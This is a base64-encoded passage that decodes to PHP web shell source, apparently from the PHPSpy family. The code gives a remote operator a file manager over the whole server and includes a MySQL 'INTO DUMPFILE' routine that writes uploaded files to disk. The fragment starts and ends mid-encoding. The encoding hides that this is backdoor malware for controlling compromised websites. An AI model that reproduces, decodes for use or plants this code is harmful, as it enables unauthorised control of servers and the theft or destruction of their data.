UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNrIGZyZWUgJy5zaXplY291bnQoJGZyZWUpLicgb2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNlZF9wZXJjZW50LiclKTwvaDI+Jyk7Cgo/Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPgogIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPgogIDx0cj4KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+Cgk8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+CiAgICA8dGQgbm93cmFwPjxpbnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJHTyIgdHlwZT0ic3VibWl0Ij48L3RkPgogIDwvdHI+CiAgPC9mb3JtPgo8L3RhYmxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNyZWF0ZWRpcigpewoJdmFyIG5ld2Rpcm5hbWU7CgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsKCWlmICghbmV3ZGlybmFtZSkgcmV0dXJuOwoJJCgnY3JlYXRlZGlyJykubmV3ZGlybmFtZS52YWx1ZT1uZXdkaXJuYW1lOwoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZmlsZXBlcm0ocGZpbGUpewoJdmFyIG5ld3Blcm07CgluZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7CglpZiAoIW5ld3Blcm0pIHJldHVybjsKCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOwoJJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsKCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpewoJdmFyIHRvZmlsZTsKCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsKCWlmICghdG9maWxlKSByZXR1cm47CgkkKCdjb3B5ZmlsZScpLnRvZmlsZS52YWx1ZT10b2ZpbGU7CgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOwoJJCgnY29weWZpbGUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7Cgl2YXIgbmV3ZmlsZW5hbWU7CgluZXdmaWxlbmFtZSA9IHByb21wdCgnRm9ybWVyIGZpbGUgbmFtZTonK29sZG5hbWUrJ1xuUGxlYXNlIGlucHV0IG5ldyBmaWxlbmFtZTonLCAnJyk7CglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47CgkkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsKCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFtZTsKCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxlLG0pewoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsKCQlyZXR1cm47Cgl9CgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOwoJaWYgKHRoZWZpbGUpewoJCSQoJ2ZpbGVsaXN0JykudGhlZmlsZS52YWx1ZT10aGVmaWxlOwoJfQoJJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpewoJdmFyIGZpbGVuYW1lOwoJZmlsZW5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZmlsZSBuYW1lOicsICcnKTsKCWlmICghZmlsZW5hbWUpIHJldHVybjsKCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsKfQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpewoJJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247CgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsKCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOwoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsKCWlmICh2aWV3X3dyaXRhYmxlKSB7CgkJJCgnZ29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPTE7Cgl9CgkkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7CgkkKCdnb2RpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGdldHNpemUoZ2V0ZGlyLGRpcil7CgkkKCdnZXRzaXplJykuZ2V0ZGlyLnZhbHVlPWdldGRpcjsKCSQoJ2dldHNpemUnKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ2V0c2l6ZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0PgogIDw/cGhwCgl0YmhlYWQoKTsKCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOwoJcCgnPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB2YWx1ZT0iIiB0eXBlPSJmaWxlIiAvPiA8aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOwoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsKCWlmICgkdmlld193cml0YWJsZSkgewoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsKCX0gZWxzZSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnMVwnKTsiPlZpZXcgV3JpdGFibGU8L2E+Jyk7Cgl9CglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmlsZTwvYT4nKTsKCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7CgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopICYmIGlzX2FycmF5KCRvYmotPkRyaXZlcykpIHsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJfQoJCQl9CgkJfQoJfQoKCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy/mn6XnnIvmiYDmnInlj6/lhpnmlofku7blkoznm67lvZUKCSRkaXJkYXRhPWFycmF5KCk7CgkkZmlsZWRhdGE9YXJyYXkoKTsKCglpZiAoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOwoJfSBlbHNlIHsKCQkvLyDnm67lvZXliJfooagKCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsKCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7CgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsKCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsKCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsKCQkJfSBlbHNlIHsJCQoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7CgkJCX0KCQl9Ly8gd2hpbGUKCQl1bnNldCgkZGlyZGIpOwoJCXVuc2V0KCRmaWxlZGIpOwoJCUBjbG9zZWRpcigkZGlycyk7Cgl9CglAc29ydCgkZGlyZGF0YSk7CglAc29ydCgkZmlsZWRhdGEpOwoJJGRpcl9pID0gJzAnOwoKCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpewoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgewoJCQlpZigkZ2V0ZGlyICYmICRnZXRkaXIgPT0gJGRpcmRiWydzZXJ2ZXJfbGluayddKSB7CgkJCQkkYXR0YWNoc2l6ZSA9IGRpcnNpemUoJGRpcmRiWydzZXJ2ZXJfbGluayddKTsKCQkJCSRhdHRhY2hzaXplID0gaXNfbnVtZXJpYygkYXR0YWNoc2l6ZSkgPyBzaXplY291bnQoJGF0dGFjaHNpemUpIDogJ1Vua25vd24nOwoJCQl9IGVsc2UgewoJCQkJJGF0dGFjaHNpemUgPSAnPGEgaHJlZj0iamF2YXNjcmlwdDpnZXRzaXplKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZGlyLidcJyk7Ij5TdGF0PC9hPic7CgkJCX0KCQkJJHRoaXNiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48L3RkPicpOwoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kYXR0YWNoc2l6ZS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJwZXJtJ10uJzwvYT4nLiRkaXJkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOwoJCQlwKCc8L3RyPicpOwoJCQkkZGlyX2krKzsKCQl9IGVsc2UgewoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsKCQkJCXAoJzx0ciBjbGFzcz0nLmJnKCkuJz4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCX0KCQl9Cgl9CgoJcCgnPHRyIGJnY29sb3I9IiNkZGRkZGQiIHN0bHllPSJib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7Ij48dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPjwvdHI+Jyk7CglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgndGhlZmlsZScpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgkkZmlsZV9pID0gJzAnOwoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsKCQlpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgewoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7CgkJCSR0aGlzYmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7CgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7CgkJCXAoJzwvdGQ+PC90cj4nKTsKCQkJJGZpbGVfaSsrOwoJCX0KCX0KCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsKCXAoJzwvZm9ybT48L3RhYmxlPicpOwp9Ly8gZW5kIGRpcgoKZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgewoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsKCQkkZmlsZSA9ICRfRklMRVNbJ3VwbG9hZGZpbGUnXTsKCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsKCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsKCQl9IGVsc2UgewoJCQlpZighJGZpbGVuYW1lKSB7CgkJCQltKCdQbGVhc2UgY2hvb3NlIGEgZmlsZScpOwoJCQl9IGVsc2UgewoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsKCQkJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsKCQkJCWlmKCEkdXBuYW1lKSAkdXBuYW1lID0gJGZpbGVbJ25hbWUnXTsKCQkJCW15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW